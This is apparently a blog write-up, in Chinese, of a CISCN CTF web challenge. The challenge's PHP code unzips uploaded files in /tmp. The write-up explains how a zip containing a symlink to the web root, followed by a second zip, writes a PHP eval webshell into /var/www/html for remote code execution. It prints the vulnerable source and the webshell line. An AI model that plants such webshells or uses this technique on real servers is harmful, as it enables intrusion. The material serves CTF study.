ciscn初赛刷题

unzip

1
2
3
4
5
6
7
 <?php
error_reporting(0);
highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

网站源码如上

大概意思就是$_FILES的理解 上传的临时文件,然后finfo (获取文件类型),之后逻辑是 如果文件类型是zip时,那么就执行unzip 该压缩包到当前目录

这里用到了软连接,简单来说就是zip -y 能够同时压缩该文件夹有关软连接的信息,那么如果该文件夹连接到该网站的根目录下,下次解压相同文件夹名的时候,该文件夹中的文件自然就解压到网站根目录下,那么就能够用该文件马进行一系列rce了

首先建立软连接

image-20230529203732497

image-20230529203805218

进入到文件夹中然后写一个马

马的内容是

1
<?php eval($_POST["1"]);?>

image-20230529203956226

这里用到了zip命令中的-y参数zip命令详解

-y 是直接保存符号连接,而非该链接所指向的文件,本参数仅在UNIX之类的系统下有效;

-r 是递归处理,将指定目录下的所有文件和子目录一并处理;

image-20230529204737313

构建好两个压缩包就可以开始上传了

先上传feng1.zip再上传feng2.zip 使feng.php解压到网站根目录/var/www/html

然后就可以愉快rce了

image-20230529205248147


ciscn初赛刷题
http://example.com/2023/05/30/web/ciscn/
作者
Re1ca1g
发布于
2023年5月30日
许可协议